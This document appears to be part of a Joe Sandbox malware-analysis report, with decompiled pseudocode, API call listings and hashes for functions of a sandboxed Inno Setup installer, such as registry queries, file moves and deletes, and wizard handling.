                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: Failed to proceed to next wizard page; aborting.$Failed to proceed to next wizard page; showing wizard.
                                                          • API String ID: 0-1974262853
                                                          • Opcode ID: b32889eafa518636edf1481a1e413b1268c01dca1c7854c8fb8f8a2032cde678
                                                          • Instruction ID: 12f780cdad0b4d58caf138ecabb8fdd147c45e571271fb7f9f82c046ceb579cc
                                                          • Opcode Fuzzy Hash: b32889eafa518636edf1481a1e413b1268c01dca1c7854c8fb8f8a2032cde678
                                                          • Instruction Fuzzy Hash: 8B31C470A04644DFD700FF65C841A9E77F5EB08714F5544BAF4049B792EB38AE04DB19
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 54%
                                                          			E0045BC70(void* __eax, void* __ebx, void* __ecx, intOrPtr* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
                                                          				char _v7;
                                                          				char _v12;
                                                          				struct HWND__* _v16;
                                                          				intOrPtr _v20;
                                                          				intOrPtr _v36;
                                                          				intOrPtr _v44;
                                                          				intOrPtr _v48;
                                                          				intOrPtr _v52;
                                                          				intOrPtr _v64;
                                                          				char* _v68;
                                                          				intOrPtr _v84;
                                                          				intOrPtr _v92;
                                                          				char _v96;
                                                          				char _v356;
                                                          				char* _t47;
                                                          				intOrPtr* _t53;
                                                          				intOrPtr _t64;
                                                          				void* _t67;
                                                          				void* _t69;
                                                          				void* _t71;
                                                          				void* _t72;
                                                          				intOrPtr _t73;
                                                          
                                                          				_t71 = _t72;
                                                          				_t73 = _t72 + 0xfffffea0;
                                                          				_push(__ebx);
                                                          				_push(__esi);
                                                          				_push(__edi);
                                                          				_v12 = 0;
                                                          				_t67 = __ecx;
                                                          				_t53 = __edx;
                                                          				_t69 = __eax;
                                                          				_push(_t71);
                                                          				_push(0x45bdc8);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t73;
                                                          				E004075E4( &_v356, 0x103,  *__edx);
                                                          				E00402A64( &_v96, 0x4c);
                                                          				_v96 = 0x4c;
                                                          				_v92 = _a4;
                                                          				E0045BC20(_a12,  &_v12);
                                                          				_v84 = E00403880(_v12);
                                                          				_v68 =  &_v356;
                                                          				_v64 = 0x104;
                                                          				_v52 = E00403880(_t67);
                                                          				_v48 = E00403880(_t69);
                                                          				_v44 = 0x1804;
                                                          				_v36 = _a8;
                                                          				_v16 = GetActiveWindow();
                                                          				_v20 = E0041F0BC(0, _t53, _t67, _t69);
                                                          				_push(_t71);
                                                          				_push(0x45bdab);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t73;
                                                          				asm("fnstcw word [ebp-0x2]");
                                                          				_push(_t71);
                                                          				_push(0x45bd77);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t73;
                                                          				_t47 =  &_v96;
                                                          				_push(_t47);
                                                          				L0042ED08();
                                                          				if(_t47 == 0) {
                                                          					_v7 = 0;
                                                          				} else {
                                                          					E004036A4(_t53, 0x104,  &_v356);
                                                          					_v7 = 1;
                                                          				}
                                                          				_pop(_t64);
                                                          				 *[fs:eax] = _t64;
                                                          				_push(0x45bd7e);
                                                          				asm("fclex");
                                                          				asm("fldcw word [ebp-0x2]");
                                                          				return 0;
                                                          			}

























                                                          0x0045bc71
                                                          0x0045bc73
                                                          0x0045bc79
                                                          0x0045bc7a
                                                          0x0045bc7b
                                                          0x0045bc7e
                                                          0x0045bc81
                                                          0x0045bc83
                                                          0x0045bc85
                                                          0x0045bc89
                                                          0x0045bc8a
                                                          0x0045bc8f
                                                          0x0045bc92
                                                          0x0045bca2
                                                          0x0045bcb1
                                                          0x0045bcb6
                                                          0x0045bcc0
                                                          0x0045bcc9
                                                          0x0045bcd6
                                                          0x0045bcdf
                                                          0x0045bce2
                                                          0x0045bcf0
                                                          0x0045bcfa
                                                          0x0045bcfd
                                                          0x0045bd07
                                                          0x0045bd0f
                                                          0x0045bd19
                                                          0x0045bd1e
                                                          0x0045bd1f
                                                          0x0045bd24
                                                          0x0045bd27
                                                          0x0045bd2a
                                                          0x0045bd2f
                                                          0x0045bd30
                                                          0x0045bd35
                                                          0x0045bd38
                                                          0x0045bd3b
                                                          0x0045bd3e
                                                          0x0045bd3f
                                                          0x0045bd46
                                                          0x0045bd60
                                                          0x0045bd48
                                                          0x0045bd55
                                                          0x0045bd5a
                                                          0x0045bd5a
                                                          0x0045bd66
                                                          0x0045bd69
                                                          0x0045bd6c
                                                          0x0045bd71
                                                          0x0045bd73
                                                          0x0045bd76

                                                          APIs
                                                          • GetActiveWindow.USER32 ref: 0045BD0A
                                                            • Part of subcall function 0041F0BC: GetCurrentThreadId.KERNEL32 ref: 0041F10B
                                                            • Part of subcall function 0041F0BC: 72E5AC10.USER32(00000000,0041F06C,00000000,00000000,0041F128,?,00000000,0041F15F,?,00000000,00000000,021C2410), ref: 0041F111
                                                          • 757DB9A0.COMDLG32(0000004C,00000000,0045BD77,?,00000000,0045BDAB), ref: 0045BD3F
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: ActiveCurrentThreadWindow
                                                          • String ID: L
                                                          • API String ID: 1335379141-2909332022
                                                          • Opcode ID: ecf978f4827b11bb04f2084caf94660ee70bc065349bedc72ebf10547b36dd6c
                                                          • Instruction ID: a2c08d980698cb0919ee6141d3023aacd631446be3c8be5cf3a7e31e031b4df6
                                                          • Opcode Fuzzy Hash: ecf978f4827b11bb04f2084caf94660ee70bc065349bedc72ebf10547b36dd6c
                                                          • Instruction Fuzzy Hash: 3B313071D00648AFDF11DFA6C8519DEBBB8EF49704F0184BAE904E7741D7789908CB99
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 49%
                                                          			E00447614(intOrPtr* __eax, void* __ebx, char* __ecx, char __edx, void* __edi, void* __esi, void* __eflags) {
                                                          				intOrPtr* _v8;
                                                          				char _v9;
                                                          				char _v20;
                                                          				char _v24;
                                                          				char _v76;
                                                          				intOrPtr _v80;
                                                          				intOrPtr _v84;
                                                          				intOrPtr* _t22;
                                                          				intOrPtr _t26;
                                                          				char* _t33;
                                                          				intOrPtr _t42;
                                                          				void* _t48;
                                                          				void* _t49;
                                                          				intOrPtr _t50;
                                                          
                                                          				_t48 = _t49;
                                                          				_t50 = _t49 + 0xffffffb0;
                                                          				_v80 = 0;
                                                          				_v84 = 0;
                                                          				_t33 = __ecx;
                                                          				_v9 = __edx;
                                                          				_v8 = __eax;
                                                          				_push(_t48);
                                                          				_push(0x44799d);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t50;
                                                          				E00402A64( &_v76, 0x20);
                                                          				_v24 = E00403DEC(_t33);
                                                          				_push(_t48);
                                                          				_push(0x4476cc);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t50;
                                                          				if(_v8 == 0) {
                                                          					E00408DF0("NIL Interface Exception", 1);
                                                          					E00403264();
                                                          				}
                                                          				_push( &_v20);
                                                          				_push(0x800);
                                                          				_push(1);
                                                          				_push( &_v24);
                                                          				_push(0x48c738);
                                                          				_t22 = _v8;
                                                          				_push(_t22);
                                                          				if( *((intOrPtr*)( *_t22 + 0x14))() != 0) {
                                                          					E00408DF0("Unknown Method", 1);
                                                          					E00403264();
                                                          				}
                                                          				_pop(_t42);
                                                          				 *[fs:eax] = _t42;
                                                          				_push(0x4476d3);
                                                          				_t26 = _v24;
                                                          				_push(_t26);
                                                          				L0042CD4C();
                                                          				return _t26;
                                                          			}

















                                                          0x00447615
                                                          0x00447617
                                                          0x0044761f
                                                          0x00447622
                                                          0x00447625
                                                          0x00447627
                                                          0x0044762a
                                                          0x0044762f
                                                          0x00447630
                                                          0x00447635
                                                          0x00447638
                                                          0x00447645
                                                          0x00447651
                                                          0x00447656
                                                          0x00447657
                                                          0x0044765c
                                                          0x0044765f
                                                          0x00447666
                                                          0x00447674
                                                          0x00447679
                                                          0x00447679
                                                          0x00447681
                                                          0x00447682
                                                          0x00447687
                                                          0x0044768c
                                                          0x0044768d
                                                          0x00447692
                                                          0x00447695
                                                          0x0044769d
                                                          0x004476ab
                                                          0x004476b0
                                                          0x004476b0
                                                          0x004476b7
                                                          0x004476ba
                                                          0x004476bd
                                                          0x004476c2
                                                          0x004476c5
                                                          0x004476c6
                                                          0x004476cb

                                                          APIs
                                                            • Part of subcall function 00403DEC: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000400), ref: 00403E26
                                                            • Part of subcall function 00403DEC: SysAllocStringLen.OLEAUT32(?,00000000), ref: 00403E31
                                                          • SysFreeString.OLEAUT32(?), ref: 004476C6
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: String$AllocByteCharFreeMultiWide
                                                          • String ID: NIL Interface Exception$Unknown Method
                                                          • API String ID: 3952431833-1023667238
                                                          • Opcode ID: 00955ceeb01edf3d71f00c71a2a25e3169e22099ed4224b50dbaeebe39af9c6b
                                                          • Instruction ID: 75ee3de3b4eb09a744b339f3b68f3b0eeefa561dd8d85ddf3ee963fe95453cb8
                                                          • Opcode Fuzzy Hash: 00955ceeb01edf3d71f00c71a2a25e3169e22099ed4224b50dbaeebe39af9c6b
                                                          • Instruction Fuzzy Hash: DE118470A046089FE714EFB98D51A6EBBADEB09704F91407AF500E7682DB7899048B69
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 28%
                                                          			E00488E18(void* __eax, void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
                                                          				char _v8;
                                                          				char _v76;
                                                          				void* _v88;
                                                          				char _v92;
                                                          				void* _t19;
                                                          				intOrPtr _t25;
                                                          				intOrPtr _t37;
                                                          				void* _t43;
                                                          
                                                          				_push(__edi);
                                                          				_v8 = 0;
                                                          				_t28 = __eax;
                                                          				_push(_t43);
                                                          				_push(0x488ebb);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t43 + 0xffffffa8;
                                                          				_push(0x488ed4);
                                                          				_push(__eax);
                                                          				_push(E00488EE0);
                                                          				_push(__edx);
                                                          				E0040377C();
                                                          				E00402A64( &_v76, 0x44);
                                                          				_v76 = 0x44;
                                                          				_push( &_v92);
                                                          				_push( &_v76);
                                                          				_push(0);
                                                          				_push(0);
                                                          				_push(0);
                                                          				_push(0);
                                                          				_push(0);
                                                          				_push(0);
                                                          				_t19 = E00403880(_v8);
                                                          				_push(_t19);
                                                          				_push(0);
                                                          				L0040597C();
                                                          				_t46 = _t19;
                                                          				if(_t19 == 0) {
                                                          					_t25 =  *0x48dcf8; // 0x21da6c4
                                                          					E00488D70(_t25, _t28, 0, __edi, __edx, _t46);
                                                          				}
                                                          				CloseHandle(_v88);
                                                          				_pop(_t37);
                                                          				 *[fs:eax] = _t37;
                                                          				_push(E00488EC2);
                                                          				return E00403548( &_v8);
                                                          			}











                                                          0x00488e20
                                                          0x00488e23
                                                          0x00488e28
                                                          0x00488e2c
                                                          0x00488e2d
                                                          0x00488e32
                                                          0x00488e35
                                                          0x00488e38
                                                          0x00488e3d
                                                          0x00488e3e
                                                          0x00488e43
                                                          0x00488e4c
                                                          0x00488e5b
                                                          0x00488e60
                                                          0x00488e6a
                                                          0x00488e6e
                                                          0x00488e6f
                                                          0x00488e71
                                                          0x00488e73
                                                          0x00488e75
                                                          0x00488e77
                                                          0x00488e79
                                                          0x00488e7e
                                                          0x00488e83
                                                          0x00488e84
                                                          0x00488e86
                                                          0x00488e8b
                                                          0x00488e8d
                                                          0x00488e8f
                                                          0x00488e94
                                                          0x00488e94
                                                          0x00488e9d
                                                          0x00488ea7
                                                          0x00488eaa
                                                          0x00488ead
                                                          0x00488eba

                                                          APIs
                                                          • 6CF17180.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00488EE0,?,00488ED4,00000000,00488EBB), ref: 00488E86
                                                          • CloseHandle.KERNEL32(004896D8,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00488EE0,?,00488ED4,00000000), ref: 00488E9D
                                                            • Part of subcall function 00488D70: GetLastError.KERNEL32(00000000,00488E08,?,?,?,?), ref: 00488D94
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: CloseErrorF17180HandleLast
                                                          • String ID: D
                                                          • API String ID: 1762622461-2746444292
                                                          • Opcode ID: 8393a0934cf409fdf5fa70babbd1ed081a6c0bd6b2e1b0128785313a2f2fe55b
                                                          • Instruction ID: 89e5725a2bbae99a59cd8131585feaea870e94621b0a0e51939d519fec37c215
                                                          • Opcode Fuzzy Hash: 8393a0934cf409fdf5fa70babbd1ed081a6c0bd6b2e1b0128785313a2f2fe55b
                                                          • Instruction Fuzzy Hash: 68018EB1A00208AFDB04EBA5CC42FAF77ACDF48714F91043AF904E72C0DA785E008B68
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E0042DCD0(void* __eax, char* __edx) {
                                                          				int _v16;
                                                          				char _v20;
                                                          				long _t11;
                                                          				signed int _t12;
                                                          				signed int _t13;
                                                          				void* _t17;
                                                          				char* _t18;
                                                          				int _t19;
                                                          
                                                          				_t18 = __edx;
                                                          				_t17 = __eax;
                                                          				_t13 = _t12 & 0xffffff00 | RegQueryValueExA(__eax, __edx, 0, 0, 0, 0) == 0x00000000;
                                                          				if(_t13 != 0 && (_t18 == 0 ||  *_t18 == 0) &&  *0x48c0e0 != 2) {
                                                          					_t13 = 0;
                                                          					_t19 = 0;
                                                          					while(1) {
                                                          						_v16 = 2;
                                                          						_t11 = RegEnumValueA(_t17, _t19,  &_v20,  &_v16, 0, 0, 0, 0);
                                                          						if(_t11 != 0 && _t11 != 0xea) {
                                                          							goto L11;
                                                          						}
                                                          						if(_t11 != 0 || _v20 != 0) {
                                                          							_t19 = _t19 + 1;
                                                          							continue;
                                                          						} else {
                                                          							_t13 = 1;
                                                          						}
                                                          						goto L11;
                                                          					}
                                                          				}
                                                          				L11:
                                                          				return _t13;
                                                          			}











                                                          0x0042dcd6
                                                          0x0042dcd8
                                                          0x0042dceb
                                                          0x0042dcf0
                                                          0x0042dd04
                                                          0x0042dd06
                                                          0x0042dd08
                                                          0x0042dd08
                                                          0x0042dd24
                                                          0x0042dd2b
                                                          0x00000000
                                                          0x00000000
                                                          0x0042dd36
                                                          0x0042dd42
                                                          0x00000000
                                                          0x0042dd3e
                                                          0x0042dd3e
                                                          0x0042dd3e
                                                          0x00000000
                                                          0x0042dd36
                                                          0x0042dd08
                                                          0x0042dd45
                                                          0x0042dd4c

                                                          APIs
                                                          • RegQueryValueExA.ADVAPI32(?,Inno Setup: No Icons,00000000,00000000,00000000,00000000), ref: 0042DCE4
                                                          • RegEnumValueA.ADVAPI32 ref: 0042DD24
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Value$EnumQuery
                                                          • String ID: Inno Setup: No Icons
                                                          • API String ID: 1576479698-2016326496
                                                          • Opcode ID: e6f2cafcd2158d22db2e0183f6e6d6a28307b949c1104728f216e9167eff6985
                                                          • Instruction ID: 5f022ff61edbc863398efb603d9d0fe2d7b3fe45e9187fa50474e5a14cc2c627
                                                          • Opcode Fuzzy Hash: e6f2cafcd2158d22db2e0183f6e6d6a28307b949c1104728f216e9167eff6985
                                                          • Instruction Fuzzy Hash: 1601D672F9973069F73045157D42B7B9A8CDBC2B60FA4453BF980ED2C4D69C9C04826E
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 72%
                                                          			E00451918(void* __eax, void* __ecx, void* __edx, void* __eflags) {
                                                          				char _v8;
                                                          				char _v16;
                                                          				long _v20;
                                                          				char _t12;
                                                          				intOrPtr _t27;
                                                          				void* _t35;
                                                          				void* _t37;
                                                          				intOrPtr _t38;
                                                          
                                                          				_t35 = _t37;
                                                          				_t38 = _t37 + 0xfffffff0;
                                                          				if(E00451338(__eax,  &_v16) != 0) {
                                                          					_push(_t35);
                                                          					_push(0x451979);
                                                          					_push( *[fs:eax]);
                                                          					 *[fs:eax] = _t38;
                                                          					_t12 = E00403880(__edx);
                                                          					L00405BE4();
                                                          					_v8 = _t12;
                                                          					_v20 = GetLastError();
                                                          					_t27 = _t12;
                                                          					 *[fs:eax] = _t27;
                                                          					_push(E00451980);
                                                          					return E00451374( &_v16);
                                                          				} else {
                                                          					_v8 = 0;
                                                          					_t6 =  &_v8; // 0x476ce0
                                                          					return  *_t6;
                                                          				}
                                                          			}











                                                          0x00451919
                                                          0x0045191b
                                                          0x00451933
                                                          0x0045193e
                                                          0x0045193f
                                                          0x00451944
                                                          0x00451947
                                                          0x0045194d
                                                          0x00451953
                                                          0x00451958
                                                          0x00451960
                                                          0x00451965
                                                          0x00451968
                                                          0x0045196b
                                                          0x00451978
                                                          0x00451935
                                                          0x00451937
                                                          0x00451989
                                                          0x00451992
                                                          0x00451992

                                                          APIs
                                                          • 6CAA69D0.KERNEL32(00000000,?,00000000,00451979,?,?,-00000001,?), ref: 00451953
                                                          • GetLastError.KERNEL32(00000000,?,00000000,00451979,?,?,-00000001,?), ref: 0045195B
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: ErrorLast
                                                          • String ID: lG
                                                          • API String ID: 1452528299-3317785604
                                                          • Opcode ID: 52564bac2283b5bcff1430b21dfe32349ee7aa8b81a8df75ba34d8ddf9254a65
                                                          • Instruction ID: a5dff42b6a37240672caba55b6751961c7d85e69e67c8b0bdda49b8fe4e901fc
                                                          • Opcode Fuzzy Hash: 52564bac2283b5bcff1430b21dfe32349ee7aa8b81a8df75ba34d8ddf9254a65
                                                          • Instruction Fuzzy Hash: DAF0F972A046047B9B00DB769C1159EF7ECDB4576171046BBFC04D3652E6385E04C59C
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 67%
                                                          			E0046CD70(void* __edi, intOrPtr _a4) {
                                                          				void* __ebx;
                                                          				void* __esi;
                                                          				void* __ebp;
                                                          				void* _t2;
                                                          				void* _t10;
                                                          				void* _t12;
                                                          				void* _t18;
                                                          
                                                          				_t18 = __edi;
                                                          				_t20 = _a4 + 0xfffffff8;
                                                          				if( *(_a4 + 0xfffffff8) == 0) {
                                                          					return _t2;
                                                          				} else {
                                                          					while(E00407064( *0x4ae048) == 0) {
                                                          						E0046CC20(0x41, 0x4ae048, "DeleteFile", _t18, _t20, __eflags);
                                                          						__eflags = 0x41;
                                                          						if(0x41 == 0) {
                                                          							E00408DC4();
                                                          						}
                                                          					}
                                                          					while(1) {
                                                          						_push(E00403880( *0x4ae048));
                                                          						_t10 = E00403880( *_t20);
                                                          						_push(_t10);
                                                          						L00405B7C();
                                                          						if(_t10 != 0) {
                                                          							break;
                                                          						}
                                                          						_t12 = E0046CC20(0x40, 0x4ae048, "MoveFile", _t18, _t20, __eflags);
                                                          						__eflags = _t12;
                                                          						if(_t12 == 0) {
                                                          							E00408DC4();
                                                          						}
                                                          					}
                                                          					return E00403548(_t20);
                                                          				}
                                                          			}










                                                          0x0046cd70
                                                          0x0046cd7d
                                                          0x0046cd83
                                                          0x0046cde1
                                                          0x0046cd85
                                                          0x0046cd9c
                                                          0x0046cd8e
                                                          0x0046cd93
                                                          0x0046cd95
                                                          0x0046cd97
                                                          0x0046cd97
                                                          0x0046cd95
                                                          0x0046cdbe
                                                          0x0046cdc5
                                                          0x0046cdc8
                                                          0x0046cdcd
                                                          0x0046cdce
                                                          0x0046cdd5
                                                          0x00000000
                                                          0x00000000
                                                          0x0046cdb0
                                                          0x0046cdb5
                                                          0x0046cdb7
                                                          0x0046cdb9
                                                          0x0046cdb9
                                                          0x0046cdb7
                                                          0x00000000
                                                          0x0046cdd9

                                                          APIs
                                                            • Part of subcall function 00407064: 6CAA5F60.KERNEL32(00000000,0048D628,0048AE72,00000000,0048AEC7,?,?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000), ref: 0040706F
                                                          • 6CAA6060.KERNEL32(00000000,00000000,00000001,004AE064,?,0046D37E,?,00000000,0046D40D,?,00000000,0046D610,?,00000000,0046D66A), ref: 0046CDCE
                                                            • Part of subcall function 0046CC20: GetLastError.KERNEL32(00000000,0046CD0C,?,?,?,004AE048,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,0046CD93,00000001), ref: 0046CC41
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: A6060ErrorLast
                                                          • String ID: DeleteFile$MoveFile
                                                          • API String ID: 2785980116-139070271
                                                          • Opcode ID: 59bbfcd1e12019aafa036ced362fa3d23e73dce5f23d291d9ede97de693f229d
                                                          • Instruction ID: 116ae7122e16eeffd0fe3f5edb9bfe050114d9b59cb3f199bbaa8819a29534ef
                                                          • Opcode Fuzzy Hash: 59bbfcd1e12019aafa036ced362fa3d23e73dce5f23d291d9ede97de693f229d
                                                          • Instruction Fuzzy Hash: 07F0C27410015167DE10BA6AC8C26BA3B988F0138C710057BF8D06B3C3EA2DAC0187AF
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 72%
                                                          			E004513FC(void* __eax, void* __edx, void* __eflags) {
                                                          				char _v8;
                                                          				char _v16;
                                                          				long _v20;
                                                          				char _t12;
                                                          				intOrPtr _t26;
                                                          				void* _t31;
                                                          				void* _t33;
                                                          				intOrPtr _t34;
                                                          
                                                          				_t31 = _t33;
                                                          				_t34 = _t33 + 0xfffffff0;
                                                          				if(E00451338(__eax,  &_v16) != 0) {
                                                          					_push(_t31);
                                                          					_push(0x451459);
                                                          					_push( *[fs:eax]);
                                                          					 *[fs:eax] = _t34;
                                                          					_t12 = E00403880(__edx);
                                                          					L0040598C();
                                                          					_v8 = _t12;
                                                          					_v20 = GetLastError();
                                                          					_t26 = _t12;
                                                          					 *[fs:eax] = _t26;
                                                          					_push(E00451460);
                                                          					return E00451374( &_v16);
                                                          				} else {
                                                          					_v8 = 0;
                                                          					_t6 =  &_v8; // 0x476ce0
                                                          					return  *_t6;
                                                          				}
                                                          			}











                                                          0x004513fd
                                                          0x004513ff
                                                          0x00451414
                                                          0x0045141f
                                                          0x00451420
                                                          0x00451425
                                                          0x00451428
                                                          0x0045142d
                                                          0x00451433
                                                          0x00451438
                                                          0x00451440
                                                          0x00451445
                                                          0x00451448
                                                          0x0045144b
                                                          0x00451458
                                                          0x00451416
                                                          0x00451418
                                                          0x00451469
                                                          0x00451471
                                                          0x00451471

                                                          APIs
                                                          • 6CAA5F60.KERNEL32(00000000,00000000,00451459,?,-00000001,?), ref: 00451433
                                                          • GetLastError.KERNEL32(00000000,00000000,00451459,?,-00000001,?), ref: 0045143B
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: ErrorLast
                                                          • String ID: lG
                                                          • API String ID: 1452528299-3317785604
                                                          • Opcode ID: 42ffd975cacce6a4d107661cd4fa8c50dc256aa67dd1171f17eb777f0ac6061f
                                                          • Instruction ID: 21868bf4a472ad8ae2cbb550fea4e5d432e04634d3afd00749e19bb59f20dd47
                                                          • Opcode Fuzzy Hash: 42ffd975cacce6a4d107661cd4fa8c50dc256aa67dd1171f17eb777f0ac6061f
                                                          • Instruction Fuzzy Hash: 4EF04671A00708AFCB00EFB59C416AEB3ECDB0971571086BBFC04E3652E63C5E0489AC
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 60%
                                                          			E004518A0(void* __eax, void* __edx, void* __eflags) {
                                                          				char _v8;
                                                          				char _v16;
                                                          				long _v20;
                                                          				intOrPtr _t27;
                                                          				void* _t32;
                                                          				void* _t34;
                                                          				intOrPtr _t35;
                                                          
                                                          				_t32 = _t34;
                                                          				_t35 = _t34 + 0xfffffff0;
                                                          				if(E00451338(__eax,  &_v16) != 0) {
                                                          					_push(_t32);
                                                          					_push(0x4518fd);
                                                          					_push( *[fs:eax]);
                                                          					 *[fs:eax] = _t35;
                                                          					_v8 = RemoveDirectoryA(E00403880(__edx));
                                                          					_v20 = GetLastError();
                                                          					_pop(_t27);
                                                          					 *[fs:eax] = _t27;
                                                          					_push(E00451904);
                                                          					return E00451374( &_v16);
                                                          				} else {
                                                          					_v8 = 0;
                                                          					_t6 =  &_v8; // 0x476ce0
                                                          					return  *_t6;
                                                          				}
                                                          			}










                                                          0x004518a1
                                                          0x004518a3
                                                          0x004518b8
                                                          0x004518c3
                                                          0x004518c4
                                                          0x004518c9
                                                          0x004518cc
                                                          0x004518dc
                                                          0x004518e4
                                                          0x004518e9
                                                          0x004518ec
                                                          0x004518ef
                                                          0x004518fc
                                                          0x004518ba
